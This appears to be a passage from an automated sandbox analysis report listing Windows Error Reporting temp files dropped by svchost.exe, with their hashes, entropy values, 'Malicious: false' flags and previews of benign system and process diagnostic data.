Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F2A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	106146
Entropy (8bit):	3.069957802262327
Encrypted:	false
SSDEEP:	3072:b+pTQkD1Z1m5dcmODoA745gPrplSgSxFvOa3uJ9YBaGcuiP92uR5Fmz:7
MD5:	56DAB827304F090EE75FCA8CC14AADAB
SHA1:	4A27CD7EE33F1665B21252C7787C7B1D10B843F7
SHA-256:	F500DB06A183486217FC91EED67074B593669DF05092EF7A29AA2D381B2FB290
SHA-512:	62F331EB89894FCDF7F0371C673828236BBA26F445EB823CC5C4D0FA841A464888320B54CC758BE606BB285A80C030BAFDD11767C98201581DFE6F0C82FE49A6
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER55E2.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6952488472236182
Encrypted:	false
SSDEEP:	96:TiZYWd5r4ShLYDYzWNUHwfUYEZ3/etHiaIWaEwBiy1D6Qa0oEX1MTcFO8SIrSd:2ZDdtUQR4QabElMQFOkrSd
MD5:	6F3C2BF701AA8BBC75A881B8E8A3B283
SHA1:	FE9DC4E6D7504F238D5B88433D9C79B0A459E389
SHA-256:	3D98ED44141F1AB0CAC953FBE359AB908A77AC4E173AE1B23118AD4689969A6A
SHA-512:	D97ECFB832CA17DCF4140F4592569A322D95A007AA05B713579B29BF609BB54593FD40E89618FF68E237FD5E0B1CDB75C970A78F44849FC6CFCF88E416514A31
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER592.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	93530
Entropy (8bit):	3.0913219549506903
Encrypted:	false
SSDEEP:	1536:DNkzSCrSe/Bm0C2mDFqj1NZMbd0mSngPw:DNkzSCrSe/Bm0C2mDQj1NZMbd0mSngPw
MD5:	B3EFC1E081437281B72A52DE60468AFE
SHA1:	C004F390386704E4EF1D9B59B57D3498E4C97B3C
SHA-256:	4E36059D70E41256724C892B96556F26E4F2F9CA89925689BCC8DE81170B98C7
SHA-512:	6AF66C58747C98205B8E47B46BA5D34FBD36962A8421617FD1C40CA33E6D7B06AB543BAFF3C0F73883301EDAE52F6C96D1883905ACED948CEDA5AD1983C3CA29
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6D43.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	110678
Entropy (8bit):	3.0624134309619344
Encrypted:	false
SSDEEP:	3072:WJx73iPMZYsOptANmOlXp9SFUKDZyqXZy9BHP35jZwdgeTuPZQ0dlqASSWC:6
MD5:	222BF2799D00B3861CE6B398C3B98AAA
SHA1:	EA7A04086087AFF872AB03B5A1171274EF47073E
SHA-256:	ADBB7A4B9DFD5970B94BE33D7F438BC65AC092D7E0537EBEAD6660A14C4AA54B
SHA-512:	332AD57BC66BBD132DB20F88AA7F502020E2E94582F55F237B7CFC9E8415FB311EB1089FB60F0C75437BB55317A5DA26525AAE1A08FBBF1D30372B17A5577726
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER715B.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6956708220129264
Encrypted:	false
SSDEEP:	96:TiZYW4i44H1iFkYQOYBWy6HxUYEZPmtHifCIraLwvNi1a6EuMuOJIW+SS:2ZD4z4vOwpw1a6EuMuO2fSS
MD5:	9EF95DDE5CE622639275AD40D0503A57
SHA1:	F0163FC9D99092957590DB720B3038F26D4E17FE
SHA-256:	4384C73A128F8659B6C1C4A359D47A6E7E826CE5FEA392A62C4A84B325EDC01D
SHA-512:	7591AC502AB76E10394008EC19C5E64DD9B8BFF96F236F94BD8D387946DED4F2D4A43D48B5EB416401BE8B697FD23E6134D84DECAAC20A2AC3FA15221AC104A7
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER77C5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	110916
Entropy (8bit):	3.061662129616164
Encrypted:	false
SSDEEP:	3072:F4fvHzlZTLDNLjwNmOrXp8ZkvOm/9Xdion3PHuPn1wRapsHGmTegikht:d
MD5:	5E7B213A182AC0CA44F8DD3593D82C29
SHA1:	3648C156061044893A5B78833D014F8394EDA1B8
SHA-256:	73C4F2AC4BD1F684D48F694D1C01FF4D43974AA7AADB82AD09C0607E61EF8225
SHA-512:	61655241DF107D06E6AA844D51107C9BCCEA5CB73927A5B288EEB38F75988E761639658C5415C97C2FB97F1661EF4B10844FE2BC2172DE5E474FD0B438C03A18
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A94.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	110976
Entropy (8bit):	3.0616041461511405
Encrypted:	false
SSDEEP:	3072:wbdHx/ZTLoampiaN+OkXprZkvOm/51pnexHuJnYwLgzS2DYmr6gpkw:O
MD5:	C4271A553134DB9233ECA83285AE4CBB
SHA1:	8EC76C3459810589B38951B0314DDA0E619F97F5
SHA-256:	3C8F54B443FFDC2EA6BBC66569178FF39C333536BF93A59BF2EFAAAA15AF1E9A
SHA-512:	D7F47E0DED38FE8CF6EBEFF2D0B8AE53F149F6C17DAEB0AD12BDFE0F3EAB3698946E368BF7D5A15EDC543A04637CB992F3C5AAE9817537F8D17A0324D4304B3C
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7BED.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6971435676754774
Encrypted:	false
SSDEEP:	96:TiZYWQ7jNwOYYY0UANDHMUYEZWYatHibIjaQ1wkoPA3anEO/MqOBIpSC:2ZDO/ryo4anEmMqO+pSC
MD5:	B19F19890C602AA36B6632D118ED2EE5
SHA1:	BAC617E9F26808E98D07D004C3E3543458CB1FE0
SHA-256:	56E769CA11B5EBFFE078791B159E09D7BA218DF4CA8264FD2C4B3830A7C799F5
SHA-512:	56078C830C623D24C7A9345B1B920A953C211E2E43E1673FAAF8AC88B7C0977C2BA64747626F7893EBF84169551D8CA7DF2EC304D6B50448FCA4610BB81D901C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8082.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6962799444714887
Encrypted:	false
SSDEEP:	96:TiZYWtwwQ9xyLYoYQgUmDHMUYEZek/tHiRIjaQcqwJThObCfaKES0MXO8ICSC:2ZD6KP0Ch3aKES0MXO7CSC
MD5:	8A3598567D83AFCD6308AF433E5A5415
SHA1:	EC2B4C3722B463C30E18FCCC3E601BB1BABF38F1
SHA-256:	7DC57B00507DBE4F5908862F69A9B66D59E7AF44953D9A5FF0DDDCBB78171DE6
SHA-512:	B707952E513A6D37ED835A794FFBE10A6DEE392B8552D5FCFA71006C7FA8F62AF20BAE15591DAF0AF9EACAAFD886B7E8E0C29BD23C2791E6CB82E86D534D3F7C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8CA8.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	112288
Entropy (8bit):	3.06028669686564
Encrypted:	false
SSDEEP:	3072:6AcHtpZqaaFNE/vN+O/Z5AlZkvOm/5u8Xdji47DAXabZNJVWZRF37MTfJ4kU:V
MD5:	BC5DCFF36EC9D395EB1FD903449D2FF2
SHA1:	26A726B9AFCD1E771881C81A2AA3DF3FEF465A6A
SHA-256:	36C417AEC7B36DEC44B66F1F93F83088275FA7C6ACB3DD5FEC5B8BE4773E001D
SHA-512:	2BBBAE8B21542BA98C09C2B573D42AA5FFFE13F3B4B23FBA9CF6453E33DCB3892243191967B10E62985522115E7F48ACE24E256B6E5C3CA7BE8FFADE29059A67
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9024.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697455062468545
Encrypted:	false
SSDEEP:	96:TiZYWMCfvsX5RY9YVwK6iH/UYEZfotHiAIiawwYWFoWaSEWMzOwIhSX:2ZDMCKfqz/0eaSEWMzOHhSX
MD5:	F4DB4D6FC7BAB34C648091A5B539CA17
SHA1:	40F68583E249CC8C27D6EC9CDCA56F8C59DC4852
SHA-256:	5BB54496FACF51F21F667B94A88FCCDCA35B0D03FE79563771C0283DE2B71D3B
SHA-512:	531091955B331D7ED4735051C49EF500B47D54A535277A9F3BE1260E4B0270895EC2CF1D4B99B11255B4CA81F2C9A4974FE9F6B7DA583B1B5D17F7C79327616F
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . 